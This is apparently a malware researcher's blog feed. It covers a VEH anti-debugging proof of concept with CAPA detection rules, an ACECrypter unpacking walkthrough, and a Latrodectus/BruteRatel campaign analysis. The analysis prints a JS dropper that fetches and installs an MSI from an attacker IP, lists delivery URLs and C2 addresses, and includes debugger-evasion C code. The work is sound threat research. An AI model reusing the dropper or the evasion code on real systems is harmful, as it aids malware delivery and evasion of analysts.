        printf("[VEH] debugger detected via NtGlobalFlag.\n");
        ExitProcess(0xDEAD);
    }

    printf("[VEH] clean. Rewriting Rip to RealNextStage (not visible in IDA).\n");

    /* x64 ABI: at function entry rsp must satisfy rsp % 16 == 8 (because a *
     * CALL would have pushed an 8-byte return address) tkt claude*/
#ifdef _WIN64
    ep->ContextRecord->Rsp = (ep->ContextRecord->Rsp & ~0xFULL) - 8;
    ep->ContextRecord->Rip = (DWORD64)&RealNextStage;                                                                         (rewrite-rip)
#else
    ep->ContextRecord->Esp = (ep->ContextRecord->Esp & ~0xFUL) - 4;
    ep->ContextRecord->Eip = (DWORD)&RealNextStage;
#endif
    return EXCEPTION_CONTINUE_EXECUTION;
}

int main(void)
{
    PVOID hVEH = AddVectoredExceptionHandler(1, MyVectoredHandler);
    if (!hVEH) {
        fprintf(stderr, "[-] AddVectoredExceptionHandler returned NULL\n");
        return 1;
    }
    printf("[+] VEH installed at %p. Building opaque mask...\n", hVEH);

    uint64_t t = (uint64_t)hVEH;
    g_mask = (t ^ Opaque(t)) + Opaque(0xd2acc002ULL) + 0x0c00feedULL; // g_mask after calcul is the 0xdeadbeef

    /* Force the volatile read into rbx via the "b" input constraint.
     decompiler should see rbx loaded from a global it cannot fold. */
    uint64_t mask_val = g_mask;

    printf("[+] Compute the opaque arithmetic NULL...\n");

    __asm__ volatile (
        ".intel_syntax noprefix\n\t"
        "mov rcx, 0xd2acc002\n\t"
        "add rcx, 0x0c00feed\n\t"
        "xor rbx, rcx\n\t"
        "mov [rbx], rcx\n\t"
        ".att_syntax prefix\n\t"
        :
        : "b"(mask_val)
        : "rcx", "memory"
    );

    /* Should not be reached at runtime if executed in a debugger because Rip
     point to RealNextStage  */
    printf("[+] (decoy) Survived. NtGlobalFlag check did not trip.\n");                                                       (lastprintf)
    return 0;
}

Code Snippet 5: Source [veh_hid_arithmetic_result.c]

x86_64-w64-mingw32-gcc -Wall -O0 veh_hid_arithmetic_result.c -o veh.exe

The above code successfuly show what I expected where the “real” execution flow is hidden by the Vector Handler.

Figure 11: Decompiled view of the main function that implement the execution flow hidden

Figure 12: Decompiled view of the custom vector handler that change program execution flow if a debugger is detected via NtGlobalFlag

Detecting It as a Malware Analyst #

As a first ideas or the two starting points would be YARA and CAPA rules to search for following patterns:

YARA: signatures on RtlAddVectoredExceptionHandler, AddVectoredExecptionHandler and AddVectoredContinueHandler, mixed with known patterns such as IsDebuggerPresent, NtQueryInformationProcess, etc…
CAPA: relevant rules around exception handler registration and dynamic control flow, what to write if the rule does not exist yet.

This is a lightweight attempt at a CAPA rule. It may produce false positives, but it has been helpful as a starting point when exploring large binaries. Note that the rule is at function scope so, if the handler is registered at the beginning of the program and the fault instructions in different functions, the rules won’t trigger.

NB: The rule only cover 3 types of exceptions: undefined instruction, int3, divide by zero;

rule:
  meta:
    name: register vectored exception handler to redirect control flow
    namespace: anti-analysis/anti-debugging/debugger-evasion
    authors:
      - @plebourhis
    scopes:
      static: function
      dynamic: call
    att&ck:
      - Defense Evasion::Debugger Evasion [T1622]
    mbc:
      - Anti-Behavioral Analysis::Debugger Detection [B0001]
      - Anti-Static Analysis::Disassembler Evasion [B0012]
    references:
      - https://anti-debug.checkpoint.com/techniques/exceptions.html
      - https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-addvectoredexceptionhandler
    description: |
      Malware registers a Vectored Exception Handler and then deliberately
      raises an exception (int3, ud2, divide-by-zero, RaiseException, ...).      
  features:
    - and:
      - or:
          - api: AddVectoredExceptionHandler
          - api: kernel32.AddVectoredExceptionHandler
          - api: ntdll.RtlAddVectoredExceptionHandler
      - or:
          - mnemonic: int3
          - mnemonic: ud2
          - api: RaiseException
          - api: kernel32.RaiseException
          - and:
              - mnemonic: div
              - number: 0 = divide-by-zero to trigger EXCEPTION_INT_DIVIDE_BY_ZERO
          - and:
              - mnemonic: int
              - number: 0x2D = EXCEPTION_BREAKPOINT alt path (int 0x2D)

Code Snippet 6: CAPA rules on VEH registration combined with simple instructions that raise EXCEPTION

A second rule, oriented on the handler itself, looks for code that rewrites the Eip=/=Rip field of the ContextRecord.

rule:
  meta:
    name: vectored exception handler rewrites instruction pointer
    namespace: anti-analysis/anti-debugging/debugger-evasion
    authors:
      - @plebourhis
    scopes:
      static: function
      dynamic: call
    att&ck:
      - Defense Evasion::Debugger Evasion [T1622]
    mbc:
      - Anti-Behavioral Analysis::Debugger Detection [B0001]
    description: |
      A VEH/SEH callback writes to the Eip (x86, CONTEXT+0xB8) or Rip
      (x64, CONTEXT+0xF8) field of the EXCEPTION_POINTERS->ContextRecord
      it was handed, redirecting execution after a planted exception.      
  features:
    - and:
      - or:
          - number: 0xB8 = offsetof(CONTEXT, Eip) on x86
          - number: 0xF8 = offsetof(CONTEXT, Rip) on x64
      - or:
          - number: 0x10001 = EXCEPTION_CONTINUE_EXECUTION
          - number: 0xFFFFFFFF = (LONG)-1 EXCEPTION_CONTINUE_EXECUTION
          - number: 0 = EXCEPTION_CONTINUE_SEARCH (handler chooses to skip)

Code Snippet 7: CAPA rule for the Context Rip/Eip redirection

None of the paths I wanted to follow seams accurate, however, a hint for my future self would be to checks for SEH function handler that could have interesting code inside. And also when debugging a new piece of malware add breakpoint on RtlAddVectoredExceptionHandler to investigate the handler code.

A Note on the Limits of Detection

It is important to remain humble about the visibility. While signature-level detection is highly effective against known threats and reused codebases, it has inherent ceilings:

The Reality Check: Static signatures catch what we have seen before. Because the underlying technique of using exception handlers to redirect code flow is a generic architectural feature of Windows, it is relatively easy for an author to tweak the implementation. A new sample can sidestep most rules simply by changing the “fault” instruction or obfuscating the registration call.

Ultimately, these signatures are starting points for a deeper investigation, rather than a definitive “case closed” for a new piece of malware!

Wrapping Up #

Going into this I expected exception handling to be a small detour before getting back to the malware sample. It turned out to be a bigger topic than I thought, and I am sure parts of what I wrote above are still imprecise, the x64 unwind machinery in particular is something I want to revisit, because I don’t yet have a clean mental model of how __C_specific_handler decides what to do with the scope table.

What I take away from this exercise:

SEH and VEH are not exotic. They are the documented Windows exception model, and most of what makes them feel “tricky” in malware is just that the analyst is meeting them for the first time in an adversarial context.
VEH is interesting to an attacker for a very specific reason: it fires before SEH, it is process-wide, and the handler has full read/write access to the saved register context. That combination is what makes it usable as a control-flow primitive (from malware author PoV).
On the detection side, my CAPA attempts are honestly a starting point. The technique is generic enough that signatures will lag behind any author who is willing to swap the faulting instruction or wrap the registration call. I think the more durable signal is behavioural: a handler that writes to ContextRecord->Rip / Eip and returns EXCEPTION_CONTINUE_EXECUTION is doing something a well-behaved program almost never needs to do (hope so…) but turning that into a rule that does not light up on every C++ runtime is its own project.

If you spotted something wrong, or if you have a cleaner way of writing the CAPA rules, I would genuinely like to hear it. The references at the top of this post (SonicWall, Zscaler, CrowdStrike, IBM, Unit42) remain the better place to read about VEH in the wild; this article is just my attempt to understand the plumbing well enough to recognise it next time.

Other great resources:

ACECrypter unpacking walktrough 📦

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Mon, 04 Nov 2024 00:00:00 +0100

ACECrypter is a crypter utilized by numerous cybercriminals. The service has been observed dropping various types of malicious software, including Remote Access Trojans (RATs), stealers, and loaders such as RedLine, SmokeLoader, and GCleaner, among others. This article provides a hands-on, step-by-step walkthrough of the process to unpack ACECrypter.

The crypter is composed of three stages, for this analysis IDA and xdbg will be used.

The examined sample is: SHA-256: b0968bdb6a175a38ec05efcf605ed61411d16e63e692bc0d7b8f1f747ce3b2e5

The IDB for the three stages are available here. Feel free to used it :).

NB: This packed sample deliver GCleaner (a loader working as a Pay Per Install).

The extracted C2 server of GCleaner set in this sample are:

185.172.128.]90
5.42.65.]115

Stage 0 - Too much noice #

The first stage of this packer employs a concealment technique that involves multiple legitimate system calls. These calls differ between each build of the crypter.

The primary responsibility of this initial stage is to load the subsequent stage into memory, decrypt it, and execute it. This approach is typical for a packer and is not particularly surprising.

Using the IDAtropy plugin, we can easily identify an unsual entropy value in the .text section. The Shannon entropy is a mathematical function that corresponds to the amount of variation in information. Meaning, the more varied the data, the higher entropy is; and the more identical the information is, the lower it entropy is.

In the above capture of the entropy of ACECryptor sample, an unusual entropy stand out in the .text section. This section should contains only executable code (that what .text is purposed). By taking a look at this chunk of data in IDA, the tool cannot decompiled it.

Keep in a note the address of this blob of data, we will validate that this data are in fact the obfuscated stage 1.

The unpacking process for stage 0 can be summarized as follows:

Search for instances of VirtualProtect usage;
Identify the page region where permissions were modified to include execution rights;
Locate the point in the code where this buffer is invoked;
Use a debugger to reach the call to that buffer and create a memory dump.

To better understand the packer’s objective, here’s a quick method for delving into the second stage: First, search for cross-references (XRefs) to VirtualProtect (Figure 2).

Figure 2: Search VirtualProtect

Then decompile the function using VirtualProtect from Kernel32.dll, whose signature is: According to MSDN document MSDN VirtualProtect

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

As noticed in the function that modify the page permission to PAGE_EXECUTE_READWRITE, which is a noteworthy for a next stage execution. Moreover, the last reference is a call to that address, which is a good indicator for a potential next stage execution.

Figure 3: XRef to lpAddress

Last step to unpack the stage 1 is to add a breakpoint on that specific call in sub_401221 at line 245 (call lpAddress). And run until it is reached!

In xdbg, use the “follow in dump” the address of the call here: ds:44588C and go to memory map tab for this specifics address (btw: save the address, it will be useful for the analysis of the next stage: entrypoint).

Figure 4: Memory map of the address of the stage 1

Then create a memory dump of this page:

Figure 5: Create memory dump of the page

Stage 1 - Shellcode #

In this step of the analysis, we are digging in the previously dumped memory. A memory dump (in this scenario) induce to a file that is not a valid PE, which mean no section, no import, etc… To deal with it, it is highly required to import in IDA the necessary libraries (Open the Type Libraries view in IDA from the toolbar View > Open subviews > Type libraries or Shift+F11).

And import the MS Windows Native API (NDK) type library.

Figure 6: Import type libraries

Because the entrypoint of this stage was saved from the previous analysed stage, a quick look at the two called functions show a tiny stage. Let walk through each of them.

The first function is used to resolved and dynamically import functions from Kernel32.dll and to instanciate a structure. Creating the structure will help for the second function understanding.

Figure 7: First function of stage 1

Before digging in the analysis, a quick check to stack in memory. It appears that the function only takes one argument and declares bunch of local variables. Before creating a structure for this, let take a look at the function sub_673AC3.

The function loop over a data structure in NtCurrentPeb (Process Envionment Block), starting typing the different local variables using the MSDN documentation MSDN Winternl PEB: https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb and the igors-tip-of-the-week, plus looking at the IDA view Local Types Hex-rays igors tips: type libraries https://hex-rays.com/blog/igors-tip-of-the-week-60-type-libraries/ help to understand the purpose of that function, it goes to

Figure 8: Raw function sub_673AC3

The for loop travel the PE header starting from the PEB to PEB_LDR_DATA to go to the DataDirectory and loop over the function in the required DLL.

Of note: because we already import the NtAPI, IDA detects some structures: TEB, Flink.

Figure 9: Typed function dynamic_api_import

At the first look, I cannot identify the hashing algorithm however with the IDA plugin Hashdb give a direct answer to identify the algorithm. (Right click on the first constant and select the HashDB Hunt Algorithm option which answer Kernel32, then right click on the second function argument with the option HashDB Lookup, the first function call is for LoadLibrary and the second one for GetProcAddress.

Figure 10: identification of the hashing algorithm with hashdb

Finally, a decent structure can be created for the variable arg0.

struct MainStruct // sizeof=0x34
{
  _DWORD start;
  Shellcode2Metadata *shellcode_header;
  _DWORD ptr_shellcode_next_stage_offset;
  _DWORD seed;
  int (__stdcall *LoadLibraryA)(_WORD *);
  int (__stdcall *GetProcAddress)(int, _WORD *);
  int GlobalAlloc;
  int (*GetLastError)(void);
  void (__cdecl *Sleep)(int);
  int (__stdcall *VirtualAlloc)(_DWORD, _DWORD, int, int);
  int (__cdecl *CreateToolhelp32Snapshot)(int, _DWORD);
  int (__cdecl *Module32First)(int, int *);
  int (__cdecl *CloseHandle)(int);
};

NB: the stage structure will be detailed later in this section.

So the structure is used to register pointers to the next stage obfuscated and also to the different functions from Kernel32.dll that the program will used later on.

To type correctly the variables that are functions, open a legitimate program in IDA that import Kernel32.dll functions and copy/past their type signature in the structure definition.

Now propagate the type in the caller function and the last function called by the main.

Once we propagate the structure in the stage 1 shellcode, we can search for the blob modification. Using CAPA we have two interesting hits:

Encode data using XOR;
Decompress data using LZ0.

So we can retype the function that matches the LZ0 CAPA rule, and take a look at the XOR function. By searching for the different constants of the algorithm, it appears to be the LCG (Linea Congruential generator) implementation of Microsoft Visaul C/C++.

// Microsoft RAND
// https://en.wikipedia.org/wiki/Linear_congruential_generator
int __cdecl msvc_lcg(MainStruct *a1)
{
  unsigned int v1; // eax

  v1 = 0x343FD * a1->seed + 0x269EC3;
  a1->seed = v1;
  return HIWORD(v1) & 0x7FFF;
}

At this stage of execution, the shellcode needs to unXOR and decompress the next stage. The location of these data is stored in a structure called Shellcode2Metadata, which is a substructure of what we named MainStruct.

struct Shellcode2Metadata // sizeof=0xD
{
  _DWORD size;
  _DWORD seed;
  _BYTE flag;
  _DWORD decompressSize;
};

Finally, after unxoring the data and decompressing it with the LZ0 algorithm, the shellcode uses a jump instruction to proceed to the next stage of execution.

void __cdecl execute_decompressed_lzo_stage(MainStruct *malware)
{
  int v1; // [esp+0h] [ebp-Ch] BYREF
  unsigned __int8 *buff; // [esp+4h] [ebp-8h]
  int ptr_blob_offset; // [esp+8h] [ebp-4h]

  ptr_blob_offset = malware->ptr_shellcode_next_stage_offset;
  init_blob_headers(malware, ptr_blob_offset, malware->shellcode_header->size, malware->shellcode_header->seed);
  if ( malware->shellcode_header->flag )
  {
    buff = malware->VirtualAlloc(0, malware->shellcode_header->decompressSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    v1 = 0;
    lzo_decrompress(ptr_blob_offset, malware->shellcode_header->size, buff, &v1);
    ptr_blob_offset = buff;
    malware->shellcode_header->size = v1;
  }
  __asm { jmp     [ebp+ptr_blob_offset] }
}

To obtain a clean version of the next stage, the same task used in the previous stage can be replicated. Therefore, before the jmp [ebp+ptr_blob_offset] instruction, we save the address where the program jumps and then dump that memory using the Memory map tab in xdbg.

Stage 2 - Next stage execution #

This last stage is also a shellcode. It contains 3 types of data:

The shellcode itself;
An obfuscated structure;
An LZ0 compressed final payload.

As in the previous stage, the shellcode works with a central structure, which this time is more abundant. The structure contains pointers to loaded functions as well as information about the final payload such as the number of sections, the address of the entry point, etc.

The challenge in this stage is that the structure uses negative offsets to access its members, unlike other stages that use the more conventional method. In IDA, we cannot use the right-click “create new structure” feature from a variable. This feature is very helpful for building a structure by roughly computing the number of members and their types. But this does not work for negative offset structure…

In this situation, we should scroll through the function and identify the highest offset (in this case, 254). Based on this value, we can create a raw structure with (254 / 8) _DWORD members:

struct stage3 {
  _DWORD dword_0;
  _DWORD dword_4;
  _DWORD dword_8;
  _DWORD dword_12;
  _DWORD dword_16;
  _DWORD dword_20;
  _DWORD dword_24;
  _DWORD dword_28;
  _DWORD dword_32;
  _DWORD dword_36;
  _DWORD dword_40;
  _DWORD dword_44;
  _DWORD dword_48;
  _DWORD dword_52;
  _DWORD dword_56;
  _DWORD count_copied_data;
  _DWORD ptr_dest_no_compression;
  _DWORD TerminateProcess;
  LPVOID lpAddress;
  _DWORD BaseOfCode;
  SIZE_T mem_size;
  _DWORD raw_addr_next_stage;
  _DWORD dword_88;
  _DWORD msvcr100_handle;
  _DWORD copy_lpAddress;
  _DWORD dword_100;
  char buff_string[16] __strlit(C,"UTF-8");
  _DWORD dword_120;
  _DWORD dword_124;
  _DWORD dword_128;
  _DWORD dword_132;
  _DWORD copy_nt_header;
  _DWORD dword_140;
  int (__cdecl *GetProcAddress)(HANDLE, char *);
  _DWORD VirtualFree;
  IMAGE_OPTIONAL_HEADER *optionalHeader;
  IMAGE_NT_HEADERS *nt_headers_;
  _DWORD dword_160;
  void (__stdcall *SetErrorMode)(int);
  _DWORD dword_168;
  int (__cdecl *VirtualAlloc)(_DWORD, _DWORD, int, int);
  void (__stdcall *GetVersionExA)(int *);
  _DWORD NEXT_STAGE_ENTRYPOINT;
  _DWORD dword_184;
  HANDLE handle_kernel32;
  _DWORD copy_ptr_allocated_mem;
  _DWORD dword_196;
  void (__cdecl *atexit)(_DWORD);
  _DWORD LoadLibrary;
  int (__cdecl *VirtualProtect)(LPVOID, _DWORD, MACRO_PAGE, _DWORD *);
  _DWORD ptr_lz0_decompress;
  _DWORD lpflOldProtect;
  IMAGE_NT_HEADERS *nt_headers;
  _DWORD TerminateProcess_;
  int (__stdcall *ExitProcess)(_DWORD);
  LPVOID ptr_allocated_mem;
  _DWORD result_virtualProtect;
  _DWORD dword_240;
  _DWORD dword_244;
  _DWORD dword_248;
};

We assume that some of the _DWORD elements can be merged with others to create arrays, or they may be split into strings, boolean, or other types.

However, to retype the variable with our newly created structure, we need to make IDA understand the negative structure offset. This can be done using __shifted pointer. Shifted pointers is another custom extension to the C syntax. They are used by IDA and decompiler to represent a pointer to an object with some offset or adjustment (positive or negative). Let’s see how they work and several situations where they can be useful. In our case we retype the variable with this code int *__shifted(stage2,0xF8) stage3

Anti Sandbox #

ACECryptor implemented an anti sandbox feature against cuckoo according ahnlab article.

int __cdecl sandbox_bypass(int (__stdcall *SetErrorMode)(_DWORD),
			   int (__stdcall *TerminateProcess)(_DWORD))
  {
    int result;

    SetErrorMode(0x400);
    result = SetErrorMode(0);
    if (result != 0x400)
      return TerminateProcess(0);
    return result;
  }

The function SetErrorMode is used to set an error mode to the current process and return its previous mode. However, in Cuckoo sandbox The SetErrorMode is set to SEM_FAILCRITICALERRORS|SEM_NOALIGNMENTFAULTEXCEPT (0x8007), according to Anlab analysis, the problem resids in the SEM_NOALIGNMENTFAULTEXCEPT, when an attempt to reset the error mode previously set to SEM_NOALIGNMENTFAULTEXCEPT is ignored and 0x404 is set instead of 0x400.

Trigger the execution #

After remaping the sections of the next stage and rebasing the next stage in the memory of the current process, the packer dynamically load the atexit function from msvcr100.dll.

> Processes the specified function at exit.

int atexit(
   void (__cdecl *func )( void )
);

If the atexit function is successfuly loaded, the packer provides as it first argument the address the entry point of the final payload.

Other great analysis #

Tools #

Latrodectus dropped by BR4 🕷️

pbo@fakeEmailToMakeValidatorHappy.com (pbo) — Thu, 01 Aug 2024 00:00:00 +0200

This article details the last campaign involving Latrodectus malware that is dropped by BruteRatel, some YARA and hunting pivot are also provided.

Context #

Starting point of the analysis is this message on X from Zscaler published on <2024-06-24 Mon>.

🕷️ The initial access broker using #Latrodectus is back! The group has resurrected the malware loader less than a month after #OperationEndgame. #BruteRatel is currently being used to drop Latrodectus.

Sample BruteRatel SHA256 hash:… pic.twitter.com/maaz0OYfd3
— Zscaler ThreatLabz (@Threatlabz) June 23, 2024

Stage 0 (Form_Ver-X-X-X.js) pivot #

Starting from the hash of BruteRatel we found the previous stage JavaScript file. That is overwhelm of comments. A short JavaScript function is “hidden” in the comment, the function is used to download and execute an MSI file using ActiveXObject("WindowsInstaller.Installer").

function installFromURL() {
    var msiPath;
    try {
        installer = new ActiveXObject("WindowsInstaller.Installer");
        installer.UILevel = 2;
        msiPath = "http:85.208.108.]63/BST.msi";
        installer.InstallProduct(msiPath);
    } catch (e) {

    }
}
installFromURL();

Code Snippet 1: Form_Ver-18-13-38.js cleaned

First pivot on the variable installer calling InstallProduct method:

You can use this YARA for instance:

rule Latrodectus_JS_dropper {
  meta:
    purpose = "hunting"
    malware = "latrodectus"
    creation_date = "2024-06-25"
    description = "JS Dropper that DL and install a BR4 MSI"
    classification = "TLP:GREEN"
  strings:
    $s1 = "ActiveXObject"
    $s2 = "//////        installer.InstallProduct(msiPath);"
  condition: all of them
}

Code Snippet 2: YARA hunting rule for the JS dropper

> content:“ActiveXObject” content:"// installer.InstallProduct(msiPath);"

From the above hunting we get 25 JavaScript files:

04086187681a0737f44284e2f715e3d90a7284157916cf1ece61cccc6d975227
073ed26f17f8efd735ad3f7737e88936f4bf2efd9722a37495874d6dd73ec12d
0a12f2ccd4dc561b924c3c88a9571a36fdd01acd12d5a3eca88d2336989fcb89
156c0afc01a5e346b95ebdb60cea9b7046ad7a61199cd63d6ad0f4ae32a576ac
1e2a94cb10157e71a550fd514c3d3607da6e1d2e3dc59b8aec2b175f8492b182
232ec24aa416bd642fdd2eb5d5eae2c72f2dd028b0f5058e193acb656e010f6d
23303910ff8d01d4d6e1499a627dfa6006793faf36766e0f1e7b9fdf15fb0715
2c63de7f491690900d95080d0741bb8282edfec74e58cdc25e7b9ba3a478e574
3af71ac2d92510f3300be025a4bf07069fb668da5fbd664431fc1a2d898a7765
51d30f6ac9da41e2124b765e74737fa43a6990657f8e57170cea8d59552ce806
5b51c052283b08f981cbab43a7c5fcfe740941317adc6c9d9352291dacfda5f0
71a429fdbaa04f8eee80c05b123ba00635569801ca041fdc7c6ac41de8aa72d3
921f90caf2fab16a171d850e1191f416774b0385b430cd71b4a0d98c270cc940
b023037cc1f1dc53d60cd574dbbb09ce1013ef4e299f793e14ad35407d3d5cc7
babfbd312f46e7deed15f68b4e3d4c6a6492bdcc596aaa946986537d3765b53e
bb9203ca1305e47a2ec1443a640efcd5e2c7d11223184639729673579e12967e
da305ed28c974ac82afc57ae365e9955b3237cde4659fb1922de4e72ed42f2b7
dc4317e2514603f94394c762b7e92a8a693689657641e190efeb2ed24c690525
e4919fd30fc8ad21a3798684bd9b6104907fa214251ffe6c34dc9ae849c7d1b1
e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843
f7382cb88fb68a4fb40c29fd991bd3b1f1933a264a45b4d336289a7e3891f13c

Retrieve all delivery C2:

import os

urls = set()

for _, _, filenames in os.walk(path):
    for filename in filenames:
        with open(os.path.join(path, filename), "r") as f:
            raw_script = f.read()
        script = []
        for line in raw_script.split("\n"):
              if line.startswith("////"):
                  script.append(line.replace("////", ""))
                  if "msiPath = " in line:
                      urls.add(line.split(" = ")[-1].replace(";","").replace('"', ''))
return "\n".join(urls)

Code Snippet 3: python script to retrieve delivery URLs

http://45.95.11.217/ad.msi
http://85.208.108.12/WSC.msi
http://85.208.108.63/BST.msi
http://146.19.106.236/neo.msi
http://193.32.177.192/vpn.msi
http://185.219.220.149/bim.msi
http://85.208.108.12/aes256.msi

Table 1: URL triage

URL	State
`http://146.19.106.236/neo.msi`	Down
`http://185.219.220.149/bim.msi`	Down
`http://193.32.177.192/vpn.msi`	UP <2024-06-24 Mon>
`http://45.95.11.217/ad.msi`	DOWN
`http://85.208.108.12/WSC.msi`	DOWN
`http://85.208.108.12/aes256.msi`	DOWN
`http://85.208.108.63/BST.msi`	UP <2024-06-24 Mon>

Stage1: MSI #

Starting reverse from e57990d251937c5e4b27bf2240a08da37a40399bd3faa75ed67616ac3935f843 (vpn.msi downloaded from hxxp://193.32.]177.192/vpn.msi)

The MSI install itself in the AppData directory and use a custom action to starts the malicious DLL aclui.dll by calling the exported function edit.

Figure 1: MSI executing a DLL using rundll32

N.B: rundll32.exe aclui.dll, edit, this is interesting to see a non standard DLL entrypoint edit

The DLL is stored in the MSI in the Files segment, which made its extraction convenient with MSIViewer.

Stage 2 BruteRatel: aclui.dll #

SHA-256: c5dc5fd676ab5b877bc86f88485c29d9f74933f8e98a33bddc29f0f3acc5a5b9. The DLL is executed using rundll32.exe on the export name edit.

Using unpac.me it detects a BruteRatel c4_a0 sample and returns an unpacked file that have this SHA-256 hash: 0d3fd08d237f2f22574edf6baf572fa3b15281170f4d14f98433ddeda9f1c5b2

This file is the first stage of BruteRatel which can again be unpack on unpac.me with the SHA-256 hash: 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427

From the last stage of BruteRatel 77a8e883db7da0b905922f7babc79f1c1b78a521b0a31f6d13922bc0603da427 there is some memory pattern that are related to Latrodectus (URL with /live/). However at the time of writing (<2024-06-25 Tue>) all of the BR4 C2s are down therefore full infection leading to Latrodectus cannot be executed. A comprehensive and interesting article on this Brute Ratel analysis, which complements the missing part of this article, has been written by @BlueEye46572843. It was published around the same time and is available on the ANY.RUN blog.

Stage 3: Latrodectus sample analysis #

Overview #

As from the last stage of BR4 we cannot retrieve the Latrodectus DLL, we start analysing a sample from the same campaign (JS->BR4->Latrodectus): SHA-256: d843d0016164e7ee6f56e65683985981fb14093ed79fde8e664b308a43ff4e79

The DLL have 4 exported functions that point to the same address:

Figure 2: Latrodectus exported functions

Dynamic API resolution #

Most of the dynamically imported functions are hashed using the CRC32 algorithm, with only two functions hashed using a different algorithm.

The malware first dynamically resolves various DLLs: kernel32.dll, Wininet.dll and ntdll.dll. Each DLL is resolved in a dedicated function, and for each function in the DLL, a structure (api, see the definition below) is created and added to an array. An entry in the api_table array has the following structure:

  struct api {
    DWORD funcHash;
    HMODULE* hModule;
    LPVOID*  pFunc;
  };

Code Snippet 4: C structure of a api entry

Figure 3: NTDLL api resolution

The hash are stored in the “normal” representation (crc32), according to reveng.ai article the code come from BlackLotus open source project.

Here is a capture of the function used to obtain the DLL base (_LIST_ENTRY) of the DLL to load:

Figure 4: DLL dynamic loading function

string obfusatation #

Latrodectus strings are obfuscated using a custom algorithm, each string is stored under a particular structure which has the following shape:

  struct latrodectus_string {
    DWORD size;
    WORD seed;
    CHAR[] buff;
  };

Code Snippet 5: Latrodectus string structure

Figure 5: Obfuscated string structure

The size of the obfsucated data is the result of a XOR operation between the key (4 bytes) and the seed (2 bytes). The malware deobfsucates the string with the function below:

Figure 6: Decompiled function used to deobfuscate Latrodectus string

Here is the Python script to deobfuscate strings:

import struct

def deobfuscate_string(buff: bytes) -> str:
    key, seed = struct.unpack("<ih", buff[:6])
    size = (key ^ seed) & 0xFF
    ciphertext = buff[6 : 6 + size]
    cleartext = bytearray(size)

    for index in range(size):
        key += 1
        cleartext[index] = (key ^ ciphertext[index]) & 0xFF

    return cleartext.decode("utf-16")


buff = bytes.fromhex(
    "2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000"
)

print(deobfuscate_string(buff))

Code Snippet 6: Python function to deobfuscate Latrodectus strings

Custom_update�

Here is the IDA script to debofsucate the strings:

Before running it, I needed to decompiled the all program File>Produce>C file

import idautils
import struct


def deobufscate_string(buff: bytes) -> str:
    key, seed = struct.unpack("<ih", buff[:6])
    size = (key ^ seed) & 0xFF
    ciphertext = buff[6 : 6 + size]
    cleartext = bytearray(size)

    for index in range(size):
        key += 1
        cleartext[index] = (key ^ ciphertext[index]) & 0xFF

    return cleartext


def get_string_length(address):
    """
    Get the length of the string at the given address.

    :param address: The address of the string.
    :return: The length of the string.
    """
    string = idc.get_strlit_contents(address)
    if string:
        return len(string)
    return 0


def get_data_length(address: int) -> int:
    """
    Get the length of the data at the given address by analyzing the type.

    :param address: The address of the data.
    :return: The length of the data.
    """
    flags = idc.get_full_flags(address)
    if idc.is_strlit(flags):
        # It's a string
        return get_string_length(address)
    elif idc.is_data(flags):
        # It's some kind of data (e.g., array or structure)
        size = idc.get_item_size(address)
        return size
    return 0


deobfuscution_func_addr = 0x18000AE78 # CHANGE-ME
for ref in idautils.XrefsTo(deobfuscution_func_addr):
    for ea in idautils.Heads(ref.frm - 10, ref.frm):
        insn = idaapi.insn_t()
        length = idaapi.decode_insn(insn, ea)
        mnemonic = print_insn_mnem(ea)
        if mnemonic == "lea":
            operand_1 = print_operand(ea, 0)
            operand_2 = print_operand(ea, 1)
            addr = get_operand_value(ea, 1)
            size = get_data_length(addr)
            data = idc.get_bytes(addr, size)
            cleartext = ""
            try:
                cleartext = deobufscate_string(data)
                if cleartext.endswith(b"\x00" * 2): # wide detection...
                    cleartext = cleartext.decode("utf-16")
                else:
                    cleartext = cleartext.decode()
                print(f"set comment at 0x{ea:x} : `{cleartext}`")
                idc.set_cmt(ea, cleartext, 1)
            except Exception as er:
                print(er)
                if cleartext:
                    # idc.set_cmt(ref.frm, cleartext, 0)
                    print(f"need manual comment 0x{addr:x} {cleartext}")
                else:
                    print(f"error for : 0x{addr:x}")

Code Snippet 7: IDA Script for string deobfuscation

Additionally, the malware performs a series of environment detection checks, such as counting the running processes. Based on the OS version, it determines a threshold range within which the number of running processes is considered acceptable. It also verify if the flag IsDebugged in the Process Environment Block is set in cased a debugger would be attach to the process.

It also verifies that the MAC addresses of the various interfaces have a valid size.

Next, it computes a bot identifier from the volume serial number and then performs a series of multiplications with a hardcoded constant 0x19660D. (which has the same value of the RNG multiply of LCRNG algorithm, because why not…).

Figure 7: botid string formating

A campaign or group identifier is also embedded in the obfuscated strings, this value (deobfuscated) is hashed with FNV-1 algorithm. The current sample respond to the group ID Littlehw

Persistence #

To persiste on the infected host, Latrodectus uses a scheduled task using COM base object.

> msdn logon trigger c++ example

The task is triggered on Logon event.

Figure 8: Function that create the scheduled task using COM object

Here is a way to build the CLSID from the hex data structure exported from the sample

import struct

def bytes_to_clsid(byte_data):
    if len(byte_data) != 16:
        raise ValueError("A CLSID must be 16 bytes long")

    # Unpack bytes according to CLSID structure
    part1, part2, part3, part4_and_part5 = struct.unpack('<IHH8s', byte_data[:16])

    # Split part4_and_part5 into two parts
    part4 = part4_and_part5[:2]
    part5 = part4_and_part5[2:8]
    part6 = byte_data[8:16]

    # Format the CLSID
    clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().upper()}}}'
    print(clsid)

# Example usage
byte_data = bytes.fromhex("C7A4AB2FA94D1340969720CC3FD40F85")
bytes_to_clsid(byte_data)

Code Snippet 8: Python function to format from hex representation the CLSID

{2FABA4C7-4DA9-4013-9697-20CC3FD40F85969720CC3FD40F85}

This CLSID correspond to the TaskScheduler, I made a script that gather various CLISD retrieved from wine project. More information on how to extract this CLSID in this note and the full script is available here.

Defense evasion #

To hid itself, Latrodectus uses Alternate Data Stream as explain in reveng.ai blogpost The code was borrowed from byt3bl33d3r/OffensiveNim github repository.

reveng.ai citation

